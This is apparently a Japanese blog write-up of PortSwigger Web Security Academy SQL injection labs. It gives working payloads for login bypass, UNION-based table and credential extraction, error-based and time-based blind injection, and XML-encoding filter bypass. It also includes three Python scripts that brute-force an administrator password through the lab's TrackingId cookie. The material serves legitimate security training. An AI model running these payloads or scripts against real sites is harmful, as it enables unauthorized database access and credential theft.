PortSwigger - SQL injection

19 min readPortSwigger#SQL injection

SQL injectionとは

SQL injection(SQLi)は、ユーザー入力が安全にパラメータ化されずSQL文の一部として解釈されることで、クエリの条件や構造を意図せず変更できる脆弱性です。

このページでは、レスポンス上で情報を直接確認できるかを基準にすると、次のように整理できます。

分類手法判定・取得方法このページで扱うLab
Visible / In-bandUNION-based攻撃側の SELECT 結果を元のクエリ結果に結合し、画面へ直接表示させるUNION attack / DB type・version / table・column・data retrieval
Visible / In-bandVisible error-basedDBエラーの内容がレスポンスに表示される性質を利用し、情報を直接取得するVisible error-based SQL injection
BlindBoolean-based / Conditional response条件の真偽によるレスポンス内容の差(例: Welcome back! の有無)から1bitずつ推測するBlind SQL injection with conditional responses
BlindConditional error-based条件が真または偽のときだけ意図的にSQLエラーを発生させ、HTTPレスポンスの差から推測するBlind SQL injection with conditional errors
BlindTime-based条件成立時だけ pg_sleep() などで遅延させ、レスポンス時間から真偽を判断するBlind SQL injection with time delays / information retrieval
BlindOut-of-band(OAST)DNS・HTTPなど別チャネルへの通信を発生させ、脆弱性の存在確認やデータ取得を行うOut-of-band interaction / data exfiltration
Progress
  • SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
  • SQL injection vulnerability allowing login bypass
  • SQL injection attack, querying the database type and version on Oracle
  • SQL injection attack, querying the database type and version on MySQL and Microsoft
  • SQL injection attack, listing the database contents on non-Oracle databases
  • SQL injection UNION attack, determining the number of columns returned by the query
  • SQL injection UNION attack, finding a column containing text
  • SQL injection UNION attack, retrieving data from other tables
  • SQL injection UNION attack, retrieving multiple values in a single column
  • Blind SQL injection with conditional responses
  • Blind SQL injection with conditional errors
  • Visible error-based SQL injection
  • Blind SQL injection with time delays
  • Blind SQL injection with time delays and information retrieval
  • Blind SQL injection with out-of-band interaction
  • Blind SQL injection with out-of-band data exfiltration
  • SQL injection with filter bypass via XML encoding

Lab

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

ユーザー入力がSQL文へ直接組み込まれているため、入力値によって WHERE 句の条件を変更できる典型的なSQL injectionです。

このLabでは商品カテゴリがURLパラメータ category として渡され、その値がSQLクエリに埋め込まれています。OR 1=1 を追加して条件を常にTRUEにすることで、本来 released = 1 によって除外される未公開商品まで取得できます。

# 想定されるクエリ
select * from products where category = $category and released = 1;
GET /filter?category='+or+1=1--

SQL injection vulnerability allowing login bypass

ログイン処理で入力されたユーザー名・パスワードが安全にパラメータ化されずSQL文へ組み込まれているため、認証条件を書き換えられます。

username に ' OR 1=1-- のような入力を与えると、パスワード条件をコメントアウトしつつ WHERE 条件をTRUEにできるため、認証を回避できます。

select * from users where username = $username and password = $password;
POST /login

csrf=aEKzIBOdqfMYZtv2u2AS8zbOetT17u3S&username='+or+1=1--&password=a

SQL injection attack, querying the database type and version on Oracle

UNION-basedが成立する条件

  • SQLインジェクション自体が成立していること
  • 元のSELECTと列数が一致すること UNION では左右の SELECT の列数を合わせる必要があります。 そのため最初に ORDER BY や UNION SELECT NULL,… で列数を確認することが多いです。
  • 対応する列のデータ型に互換性があること たとえば元クエリのある列が数値型なのに、そこへ文字列を返そうとするとエラーになることがあります。 NULL は多くの型と互換性があるため、列数確認によく使用されます。
  • 少なくとも1列がレスポンスに表示されること UNION SELECT 自体が成功しても、その列が画面に出なければ情報取得できません。今回のように ‘1’,‘2’ のどちらか1箇所でも表示されたなら、表示可能列を確認できます。

まず、ORDER BY を使って元のSQL文が何列の結果を返しているかを確認します。 ORDER BY 自体の役割はソートですが、1を指定した場合は SELECT 結果の1列目をソートするという意味になります。2を指定した場合は、2列目がソート対象となります。3列目が存在しない場合は、3列目をソートできないためエラーが発生します。

GET /filter?category='+order+by+2--

列数を特定できたら、ここから UNION 文を使用します。 UNION SELECT 1,2 とは、元の SELECT 結果に、1と2という値を持つ1行を追加することです。 1行追加された状態で、画面のどこにどの値が反映されたかを確認します。

usernamepassword
TanakaP@ssword
SasakiPa$$word
12

DUAL はOracleで、実テーブルを参照せずに式や関数の結果だけを SELECT したいときに使われる1行1列の特殊なテーブルです。Oracleでは SELECT 1 FROM DUAL; のように利用します。一方、MySQLでは SELECT 1; のように FROM 句なしでも実行できます。

GET /filter?category='+union+select+'1','2'+from+dual--

v$version は、Oracle が提供しているシステム情報用のビューです。banner 列を指定することで、製品名やバージョン情報を取得できるようになります。

GET /filter?category='+union+select+banner,'2'+from+v$version--

SQL injection attack, querying the database type and version on MySQL and Microsoft

前章と同様にUNION-based SQLiでDBMSの種類とバージョンを取得するLabです。今回はMySQL / Microsoft SQL Server系の構文差を意識します。

攻撃の流れは同じでも、コメント構文やバージョン取得方法はDBMSごとに異なります。特にMySQLの -- コメントは後ろに空白文字が必要なため、-- - のように空白を含めます。MySQLでは # も行コメントとして利用できます。

コメントアウトの扱い方

DB--abc-- abc / -- -# abc
MySQL原則コメントにならないコメントになるコメントになる
Microsoft SQL Serverコメントになるコメントになるコメントにならない
GET /filter?category='+order+by+2+--+-
GET /filter?category='+union+select+1,2+--+-

@@version は、SQL Server や MySQL などでデータベース製品・バージョン情報を返すシステム変数です。

GET /filter?category='+union+select+%40%40version,2+--+-

SQL injection attack, listing the database contents on non-Oracle databases

UNION-based SQLiを使ってDBMSを特定した後、システムカタログからテーブル名・カラム名を列挙し、最終的にユーザー名とパスワードを取得するLabです。

このLabではログインが成功条件のため、DBMSの特定だけでなく、対象テーブルと認証情報を格納しているカラムを特定する必要があります。

GET /filter?category='order+by+2--

データ型が文字列指定されていたので、クォーテーションを付けて文字列にする必要があります。

GET /filter?category='union+select+'1','2'+--
DBMSバージョン取得SQL
MySQLSELECT VERSION();
MySQLSELECT @@version;
MariaDBSELECT VERSION();
Microsoft SQL ServerSELECT @@VERSION;
Microsoft SQL ServerSELECT SERVERPROPERTY('ProductVersion');
PostgreSQLSELECT version();
PostgreSQLSHOW server_version;
Oracle DatabaseSELECT * FROM V$VERSION;
Oracle DatabaseSELECT BANNER FROM V$VERSION;
SQLiteSELECT sqlite_version();
IBM Db2SELECT SERVICE_LEVEL FROM SYSIBMADM.ENV_INST_INFO;
Amazon RedshiftSELECT version();
SnowflakeSELECT CURRENT_VERSION();
DuckDBSELECT version();
GET /filter?category='union+select+version(),'2'+--
↓
PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

テーブル名・一覧取得

pg_catalog.pg_tables は、PostgreSQL が持っているテーブル一覧のシステムビューです。 PostgreSQL には pg_catalog というシステムカタログ用スキーマがあり、その中に pg_ で始まるシステムテーブルやシステムビューが大量にあります。

tablename は、pg_tables というビューに定義されているカラム名です。

where schemaname = 'public’ を指定することで、通常ユーザーがテーブルを作ることが多いスキーマだけを抽出できます。

GET /filter?category='union+select+tablename,'2'+from+pg_catalog.pg_tables+--
↓
pg_が大量にあるが一番下に users_ejqcau が存在する

カラム名・一覧取得

information_schema.columns は、データベース内のカラム情報を一覧で持っている標準的なメタデータビューです。

column_name は、文字通りカラム名が入っている列です。

GET /filter?category='union+select+column_name,'2'+from+information_schema.columns+where+table_name%3d'users_ejqcau'+--
↓
email, password_tvtiqn, username_eopsul

データ取得

取得対象のカラム名を UNION SELECT に指定し、対象テーブルから実データを取得します。

GET /filter?category='union+select+username_eopsul,password_tvtiqn+from+users_ejqcau+--

SQL injection UNION attack, determining the number of columns returned by the query

UNION SELECT を成立させるため、元の SELECT が返す列数を特定するLabです。

UNION SELECT NULL,... の NULL を1つずつ増やし、エラーが解消される個数から列数を判断します。NULL は多くのデータ型と互換性があるため、列数確認に向いています。

なお、列数の確認には ORDER BY 1,2,3... を使い、存在しない列番号でエラーになる境界を探す方法もあります。

GET /filter?category='+union+select+null,null,null+--

SQL injection UNION attack, finding a column containing text

列数を特定した後、どの列が文字列データを受け取れて、かつレスポンス上に表示されるかを確認するLabです。

各列へ指定された文字列を順番に入れ、エラーにならず画面へ表示される列を特定します。以降、その列を使ってDB情報や認証情報をレスポンスへ出力します。

GET /filter?category='+order+by+3+--
GET /filter?category='+union+select+null,'aEgj7K',null+--

SQL injection UNION attack, retrieving data from other tables

UNION-based SQLiを使って別テーブルのデータを取得するLabです。列数と表示可能なデータ型を確認した後、users テーブルを指定し、username と password をレスポンスへ表示させます。

GET /filter?category='+order+by+2+--
GET /filter?category='+union+select+'1','2'+--
GET /filter?category='+union+select+version(),'2'+--

PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
GET /filter?category='+union+select+tablename,'2'+from+pg_catalog.pg_tables+where+schemaname%3d'public'+--

products, users
GET /filter?category='+union+select+column_name,'2'+from+information_schema.columns+where+table_name%3d'users'+--

password, username, email
GET /filter?category='+union+select+username,password+from+users+--

SQL injection UNION attack, retrieving multiple values in a single column

表示可能な文字列カラムが1列しかない状況で、複数の値を1列へ連結して取得するLabです。

このLabでは1列目が文字列を受け取れず、2列目だけが文字列として表示できます。そのため username と password を || で連結し、区切り文字 | を挟んで1つの文字列として返します。

GET /filter?category='+order+by+2+--
GET /filter?category='+union+select+null,'2'+--
GET /filter?category='+union+select+null,version()+--

PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
GET /filter?category='+union+select+null,tablename+from+pg_catalog.pg_tables+where+schemaname%3d'public'--

users, products
GET /filter?category='+union+select+null,column_name+from+information_schema.columns+where+table_name%3d'users'--

email, password, username
GET /filter?category='+union+select+null,username||'|'||password+from+users+--

administrator|ms5kffpm3hri1dwdv096

Blind SQL injection with conditional responses

SQLの実行結果やエラー内容は画面に直接表示されませんが、条件の真偽によってレスポンス内容が変化するタイプのBlind SQLiです。今回のLabでは TrackingId Cookie がSQLクエリに利用されており、条件がTRUEのときは Welcome back! が表示され、FALSEのときは表示されません。この差をBoolean oracleとして利用し、パスワードなどを1文字ずつ推測できます。

Cookie: TrackingId=pNCquHQZQyoUhYMZ'+and+'1'%3d'1;
↓
Welcome back! 表示
Cookie: TrackingId=pNCquHQZQyoUhYMZ'+and+'1'%3d'2;
↓
Welcome back! 非表示

今回は table_name = users と username = administrator が決まっているため、サブクエリを使用します。文字列 a を比較して administrator が正しく存在するか確認します。

Cookie: TrackingId=pNCquHQZQyoUhYMZ'+and+(select+'a'+from+users+where+username%3d'administrator')%3d'a

password の文字数を知っておくと、PoCでの扱いが楽になるため、length(カラム名>数値) を使って把握します。

Cookie: TrackingId=pNCquHQZQyoUhYMZ'+and+(select+'a'+from+users+where+username%3d'administrator'and+length(password)>19)%3d'a

必要なものは password なので、substring(文字列, 開始位置, 文字数) を使用して、文字を1つずつ比較していきます。

PoC
import requests
from urllib.parse import quote
import string

URL = "https://web-security-academy.net/"
TRACKING_ID = "pNCquHQZQyoUhYMZ"
SESSION = "khVep7yNmQzvPRQ8Sa6SNBPXnp74lxvA"
PASSWORD_LENGTH = 20

chars = string.ascii_lowercase + string.digits
password = ""

for pos in range(1, PASSWORD_LENGTH + 1):
  found = False
  for char in chars:
    sql = (f"' and (select substring(password,{pos},1) from users where username='administrator')='{char}")
    tracking_cookie = TRACKING_ID + quote(sql)
    cookies = {
      "TrackingId": tracking_cookie,
      "session": SESSION
    }
    r = requests.get(
      URL,
      cookies=cookies,
      timeout=10
    )
    if "Welcome back!" in r.text:
      password += char
      print(f"[+] position {pos}: {char}")
      found = True
      break
  if not found:
    raise RuntimeError(f"No matching character at position {pos}")
print(f"\nPassword: {password}")
Cookie: TrackingId=pNCquHQZQyoUhYMZ'+and+(select+substring(password,1,1)+from+users+where+username%3d'administrator')%3d'a;

Blind SQL injection with conditional errors

通常のTRUE / FALSEでレスポンス本文に差が出ない場合でも、条件に応じて意図的にSQLエラーを発生させ、そのレスポンス差をBoolean oracleとして利用できます。今回のLabでは CASE WHEN で条件分岐し、特定条件のときだけ 1/0 を評価させてエラーを発生させます。

CASE WHEN はSQLの条件分岐構文で、条件がTRUEかFALSEかによって評価する式を切り替えられます。

Cookie: TrackingId=DnUzrHrZ1PAUpoD'+and+case+when+1%3d2+then+1+else+1/0+end%3d1+--;
↓
when 1=1 を評価 true
then 1 ○
else 1/0 ×
end 1=1 true
Cookie: TrackingId=DnUzrHrZ1PAUpoD'+and+case+when+1%3d2+then+1+else+1/0+end%3d1+--;
↓
when 1=2 を評価 false
then 1 ×
else 1/0 ○ ← 0除算エラー
Cookie: TrackingId=DnUzrHrZ1PAUpoD'+and+case+when+(select+'a'+from+users+where+username%3d'administrator')%3d'a'+then+1+else+1/0+end%3d1+--;
Cookie: TrackingId=DnUzrHrZ1PAUpoD'+and+case+when+(select+'a'+from+users+where+username%3d'administrator'and+length(password)>19)%3d'a'+then+1+else+1/0+end%3d1+--;

substring() で試していましたが、すべて error になるため、substr() に変更すると実行できました。 Writeup を確認すると、データベースにOracleDBが使われていることが分かりました。

PoC
import requests
from urllib.parse import quote
import string

URL = "https://web-security-academy.net/"
TRACKING_ID = "7eNx461OLbppRwPV"
SESSION = "8D18D8qgCDdKtOcKYnjPXYpeqfNZ3hHt"
PASSWORD_LENGTH = 20

chars = string.ascii_lowercase + string.digits
password = ""

for pos in range(1, PASSWORD_LENGTH + 1):
  found = False
  for char in chars:
    sql = (f"' and case when (select substr(password,{pos},1) from users where username='administrator')='{char}' then 1 else 1/0 end=1 --")
    tracking_cookie = TRACKING_ID + quote(sql)
    cookies = {
      "TrackingId": tracking_cookie,
      "session": SESSION
    }
    r = requests.get(
      URL,
      cookies=cookies,
      timeout=10
    )
    if r.status_code == 200:
      password += char
      print(f"[+] position {pos}: {char}")
      found = True
      break
  if not found:
    raise RuntimeError(f"No matching character at position {pos}")
print(f"\nPassword: {password}")

Visible error-based SQL injection

SQLエラーの詳細がレスポンス上にそのまま表示されるタイプです。単に「エラーになったか」を判定するBlindのconditional error-basedとは異なり、エラーメッセージ内にデータを含めて直接取得できるため、Visible error-based SQL injectionとして分類できます。

Cookie: TrackingId=';

Unterminated string literal started at position 36 in SQL SELECT * FROM tracking WHERE id = '''. Expected  char

Boolean では、エラー文を表示させることができないため case を使ってみましたが、文字制限があり、途中で文が切れてSQLを正しく実行できず、エラーが返ってきます。

Cookie: TrackingId=zoacNGSnP4Ap8M0C'+and+case+when+(select+substring('ab',1,1)=a+then+1+else+1/0+end%3d1+--

Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'zoacNGSnP4Ap8M0C' and case when (select substring('ab',1,1)='. Expected  char

cast 句では、型変換ができます。

cast 句を使うと、castで数値にできない文字列を数値に変換しようとした際、エラー文に変換対象の文字列が表示されることがあります(場合によります)。

Cookie: TrackingId='+and+1%3dcast((select+'a')+as+int)+--

ERROR: invalid input syntax for type integer: "a"

limit 1 で1行目のユーザ名を数値に変更しようとしてエラーになり、エラー結果として1行目のユーザ名が表示されます。パスワードも同様の処理を行えば、確認できます。

Cookie: TrackingId='+and+1%3dcast((select+username+from+users+limit+1)+as+int)+--;

ERROR: invalid input syntax for type integer: "administrator"
Cookie: TrackingId='+and+1%3dcast((select+password+from+users+limit+1)+as+int)+--

ERROR: invalid input syntax for type integer: "6jpruqc3bj038f0pxsf4"

Blind SQL injection with time delays

レスポンス本文やエラー内容に差が出ない場合でも、条件成立時だけDB側で遅延を発生させれば、応答時間をBoolean oracleとして利用できます。

今回のLabではPostgreSQLの pg_sleep() を使い、条件がTRUEのときだけレスポンスを遅延させます。

EXISTS はサブクエリが1行以上返すかを判定する演算子で、該当行が存在すればTRUE、存在しなければFALSEを返します。これを条件分岐と組み合わせることで、時間差による真偽判定ができます。

Cookie: TrackingId=wz5ys09BPvZMFQ2t'and+exists(select+1+from+(select+pg_sleep(10))s+where+(select+'a')%3d'a')--;

(SELECT pg_sleep(10))
        ↓
  一時的なテーブル
        ↓
        s  ← そのテーブルの名前
        ↓
SELECT 1 FROM s WHERE ... ← FROM の s が必要になる
													→ (SELECT pg_sleep(10)) を評価
													→ 10秒待つ
													→ TRUEならその結果を返す。

Blind SQL injection with time delays and information retrieval

time-based Blind SQLiを使って実際のデータを1文字ずつ取得するLabです。

条件がTRUEのときだけ遅延するクエリを作り、パスワードの各文字について候補文字を総当たりします。レスポンス時間が閾値を超えた文字を正解として採用し、これを各桁で繰り返します。

このLabでは ; によって元のSQL文と後続のSQL文を分離できるため、別ステートメントとして遅延処理を実行できます。

PoC
import requests
from urllib.parse import quote
import string

URL = "https://web-security-academy.net/"
TRACKING_ID = "CA12lGkU2E6ynsG6"
SESSION = "Y3vUukjt4GbN1MJwFSKuy4eyGZgpEfg0"
PASSWORD_LENGTH = 20

chars = string.ascii_lowercase + string.digits
password = ""

for pos in range(1, PASSWORD_LENGTH + 1):
  found = False
  for char in chars:
    sql = (f"'; select case when (select substr(password,{pos},1) from users where username='administrator')='{char}' then pg_sleep(6) else pg_sleep(0) end --")
    tracking_cookie = TRACKING_ID + quote(sql)
    cookies = {
      "TrackingId": tracking_cookie,
      "session": SESSION
    }
    r = requests.get(
      URL,
      cookies=cookies,
      timeout=10
    )
    if r.elapsed.total_seconds() >= 5:
      password += char
      print(f"[+] position {pos}: {char}")
      found = True
      break
  if not found:
    raise RuntimeError(f"No matching character at position {pos}")
print(f"\nPassword: {password}")

Blind SQL injection with out-of-band interaction

アプリケーションのレスポンス内容や処理時間から脆弱性を判定できない場合、DBサーバーから外部サーバーへのDNS / HTTP通信を発生させ、その通信を観測してSQLiの成立を確認するOut-of-band(OAST)方式です。

PortSwiggerのLabではBurp Collaboratorを利用するため、通常はBurp Suite Professionalが必要になります。


Blind SQL injection with out-of-band data exfiltration

OAST通信を単なる脆弱性確認だけでなく、データの持ち出しにも利用するLabです。

取得したい値をDNSサブドメインなどへ埋め込み、外部側で受信した名前解決ログから情報を復元します。アプリケーションのHTTPレスポンスへデータを表示できない場合でも、DBサーバーが外部通信できれば情報取得が可能になります。

PortSwiggerのLabではBurp Collaboratorを利用するため、通常はBurp Suite Professionalが必要になります。


SQL injection with filter bypass via XML encoding

入力値に対してWAFやアプリケーション側のフィルタが存在していても、別の表現へエンコードすることで検査を回避できる場合があることを確認するLabです。

このLabではXMLリクエスト内の値がSQLクエリへ利用される一方、特定のSQL構文はフィルタされます。そこでXMLエンコーディングを利用し、フィルタには別表現として見せつつ、XMLパーサー処理後にはSQL構文として解釈される状態を作ります。

重要なのは、フィルタが確認する表現と最終的にSQLへ渡される表現が異なると、正規化の差を利用したバイパスが起こり得る点です。

POST /product/stock

<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>
1 UNION SELECT username ||'|'|| password FROM users
↓
16進数に変換
POST /product/stock

<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			&#x31;&#x20;&#x55;&#x4e;&#x49;&#x4f;&#x4e;&#x20;&#x53;&#x45;&#x4c;&#x45;&#x43;&#x54;&#x20;&#x75;&#x73;&#x65;&#x72;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x7c;&#x7c;&#x27;&#x7c;&#x27;&#x7c;&#x7c;&#x20;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;&#x20;&#x46;&#x52;&#x4f;&#x4d;&#x20;&#x75;&#x73;&#x65;&#x72;&#x73;
		</storeId>
	</stockCheck>